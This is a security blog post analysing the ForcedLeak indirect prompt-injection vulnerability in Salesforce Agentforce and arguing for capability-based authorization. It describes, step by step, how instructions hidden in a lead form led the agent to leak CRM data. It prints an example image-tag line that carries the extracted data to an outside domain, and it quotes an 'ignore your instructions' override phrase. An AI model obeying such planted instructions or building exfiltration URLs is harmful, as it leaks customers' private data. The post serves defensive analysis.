Skip to main content
← back to blog

ForcedLeak: What Salesforce's Agentforce Vulnerability Reveals About Agent Security

Salesforce patched a critical prompt injection vulnerability in Agentforce. The attack chain reveals why input filtering alone can't secure agentic AI—and what actually works.

security prompt-injection salesforce agents confused-deputy capabilities

In September 2025, Salesforce patched a critical vulnerability in Agentforce that allowed attackers to exfiltrate CRM data through indirect prompt injection. The researchers who discovered it—Noma Security—named it ForcedLeak and assessed it at CVSS 9.4.

The attack chain is instructive. A malicious payload sits dormant in your CRM until an employee asks the AI a routine question. Then it activates, extracts sensitive data, and exfiltrates it through a trusted channel. No credentials stolen. No systems compromised. Just an AI agent doing exactly what it was told—by the wrong principal.

This is the confused deputy in production.

The Attack Chain

ForcedLeak exploits Salesforce’s Web-to-Lead functionality—those “Contact Us” forms on company websites that automatically create lead records in the CRM.

Step 1: Payload Injection

The attacker submits a Web-to-Lead form with malicious instructions embedded in the Description field. Salesforce allows 42,000 characters—plenty of room for a sophisticated payload. The Noma researchers identified the Description field as the optimal injection vector due to its size and the fact that it’s routinely processed by AI agents.

Step 2: Dormant Persistence

The payload sits in the CRM as legitimate lead data. No malware. No exploit code. Just text in a database field.

Step 3: Employee Trigger

A sales rep asks Agentforce a routine question: “Summarize this lead” or “What’s the context on John Smith?”

Step 4: Injection Execution

Agentforce processes the lead data—including the embedded instructions. The AI cannot distinguish between “this is data to summarize” and “this is an instruction to execute.” It retrieves emails from the CRM.

Step 5: Exfiltration

The AI constructs a response containing an image tag. According to Noma’s research, the payload instructed the agent to generate HTML like:

<img src="https://cdn.my-salesforce-cms.com/c.png?n={{extracted_data}}" />

When rendered, the browser requests the “image”—sending the extracted data as URL parameters to the attacker’s server.

The Expired Domain Problem

Here’s where it gets worse. The exfiltration domain—my-salesforce-cms.com—was whitelisted in Salesforce’s Content Security Policy. According to Noma’s disclosure, the domain had expired and become available for registration.

The researchers purchased it for approximately $5.

This is what “defense in depth” looks like when whitelists aren’t maintained. CSP is supposed to prevent data exfiltration to untrusted domains. But if whitelisted domains expire and nobody notices, attackers can purchase a “trusted” exfiltration channel for the cost of a coffee.

Why Input Filtering Didn’t Help

The natural question: why didn’t existing guardrails catch this?

Noma’s analysis identifies the root cause: the LLM “lacked the ability to distinguish between legitimate data and malicious instructions within its context.” This is the fundamental challenge of indirect prompt injection.

Direct prompt injection: User types “ignore your instructions and do X” directly into the chat. This is detectable—look for instruction-like patterns in user input.

Indirect prompt injection: Malicious instructions are embedded in data the AI retrieves. The user’s query is benign. The data is poisoned. By the time the AI processes the payload, it’s already inside the trust boundary.

Direct Attack:
User → [malicious prompt] → AI → Response
       ↑ Detectable here

Indirect Attack:
User → [benign query] → AI → [retrieves poisoned data] → Response
                              ↑ Payload is here
                              Already inside trust boundary

Input validation can catch direct attacks. It cannot catch indirect attacks without validating every piece of data the AI might retrieve—which defeats the purpose of having AI process unstructured data.

The Root Cause: Ambient Authority

ForcedLeak isn’t a Salesforce-specific bug. It’s a structural problem with how we deploy AI agents.

Based on the attack chain, the Agentforce agent operated with:

  • Access to lead data beyond the specific record being queried
  • Ability to construct URLs in responses
  • No distinction between data and instructions in retrieved content

These aren’t necessarily bugs in isolation. But together, they create an agent with ambient authority—the ability to access resources and take actions simply because of what it is, not because of what it’s authorized to do for this specific transaction.

When the employee asked “summarize this lead,” the agent should have operated with authority scoped to that transaction:

  • Read this specific lead record
  • No access to other leads
  • No URL construction in output
  • No external requests

Instead, it operated with standing credentials that allowed far more than the transaction required.

This is the confused deputy. The agent (deputy) has authority the attacker lacks. The attacker’s input (poisoned lead data) causes the agent to exercise that authority. The system cannot distinguish between legitimate use and exploitation.

What Salesforce Fixed

Noma Security reported the vulnerability on July 28, 2025. Salesforce deployed patches by September 2025—a reasonable timeline for a complex fix. According to Salesforce’s statement:

Our underlying services powering Agentforce will enforce the Trusted URL allowlist to ensure no malicious links are called or generated through potential prompt injection.

The patch enforces Trusted URL restrictions on Agentforce outputs and re-secured the expired domain. This closes the specific exfiltration channel used in this attack.

It’s a reasonable mitigation for this vector. But the underlying architecture remains unchanged. The Noma researchers note that ForcedLeak exploited three weaknesses:

  1. Insufficient context boundaries — the AI model’s query scope wasn’t properly restricted
  2. Inadequate input sanitization — user-controlled data fields weren’t sanitized before processing
  3. CSP bypass via expired domain — the whitelisted domain had expired

The first two are structural. They’re not specific to this exfiltration channel. Future variants could exfiltrate through trusted webhooks, sanctioned integrations, or inline text that humans copy elsewhere. The attack surface is the agent’s ambient authority, not the specific channel.

What Would Actually Work

The capability-security community identified solutions to the confused deputy problem decades ago. The fix isn’t better filtering—it’s eliminating ambient authority.

This requires architectural changes, not just patches. But it’s the only approach that eliminates the vulnerability class rather than playing whack-a-mole with exfiltration channels.

1. Authority flows with the transaction, not the agent

When an employee queries a lead, the system should mint a scoped capability:

Transaction T:
  Principal: [email protected]
  Action: read
  Resource: lead/12345
  Constraints: no URL generation, no bulk access
  Expiry: 5 minutes

The agent operates with this capability—not standing credentials. It physically cannot access other leads because it has no capability for them.

2. Data retrieval is constrained by the transaction

The capability specifies what data can be retrieved. The agent doesn’t have ambient access to “all leads” and then get filtered—it has access to exactly what the capability designates.

3. Output is validated against the capability

Before any response reaches the user, a verification layer checks: does this output match what the capability authorized? URL construction isn’t allowed? Reject outputs containing URLs.

This isn’t post-hoc filtering. It’s structural enforcement. The capability-constrained agent cannot produce unauthorized outputs because the capability didn’t authorize them.

Why Layered Defenses Weren’t Enough

ForcedLeak demonstrates the limits of defense-in-depth for agentic systems. According to Noma’s analysis, the attack bypassed:

  • Input sanitization: The Web-to-Lead form accepted the payload as legitimate text in a free-form field
  • CSP restrictions: The exfiltration domain was whitelisted (albeit expired)

The attack’s structure makes it difficult for traditional layers to catch:

  • The user’s query is benign — no malicious input to filter
  • The AI’s response looks like formatted content — no obvious exfiltration signature
  • The access pattern is “employee queries lead” — behaviorally normal

Each defensive layer operates on partial information. The input validator doesn’t know what data the AI will retrieve. CSP doesn’t know which domains have expired. Behavioral monitoring sees a normal access pattern.

Capability-based authorization addresses this by providing a single source of truth: what is this specific transaction allowed to do? That constraint travels with the request and is enforced at every step—not inferred from context or checked against stale whitelists.

Practical Mitigations

If you’re running Salesforce Agentforce or similar agentic systems, here’s what to do now:

PriorityActionWhy
P0Apply Salesforce’s Trusted URL patchesClose the specific ForcedLeak vector
P0Audit CSP whitelists for expired domainsPrevent cheap domain-purchase attacks
P0Block AI-generated outbound URLs entirelyKill exfil channels proactively
P1Audit existing lead data for injection payloadsRemove dormant attacks
P1Implement output filtering for encoded dataCatch URL-parameter exfil
P1Add real-time injection detection on form ingestionPrevent new payloads
P2Require human approval for PII-accessing queriesReduce blast radius
P2Implement spotlighting/instruction hierarchyHelp model distinguish data from instructions

These are mitigations, not solutions. They raise the bar for attackers without eliminating the vulnerability class. Apply them—but don’t mistake them for the fix.

The structural fix is capability-based authorization: scoped tokens that encode exactly what each transaction is allowed to do, verified before execution. That’s what prevents the confused deputy—not better filtering, but elimination of ambient authority. The mitigations buy time; the architecture change solves the problem.

The Broader Pattern

ForcedLeak joins a growing list of agentic AI security incidents:

  • Replit (July 2025): AI agent deleted a live database containing over 1,200 executive records. Valid credentials, no constraints.
  • Salesloft Drift (August 2025): Compromised OAuth tokens enabled widespread data theft across numerous Salesforce instances. Tokens persisted because authorization wasn’t lifecycle-aware.
  • Cross-session data leaks: Giskard documents sensitive data bleeding across user sessions through misconfigured caches.

The pattern is consistent: agents with ambient authority, credentials that outlive their intended use, no transaction-level scoping. These aren’t implementation bugs. They’re architectural gaps.

OpenAI calls prompt injection a “frontier security challenge” they expect to evolve over time—comparing it to social engineering rather than a patchable vulnerability. Simon Willison identifies the “lethal trifecta”: private data + untrusted input + outbound actions. ForcedLeak hit all three.

The industry is learning that you cannot filter your way out of ambient authority. The fix is structural: capability-based authorization that binds authority to transactions, not agents. It’s not a trivial change—but it’s the only change that actually solves the problem.


References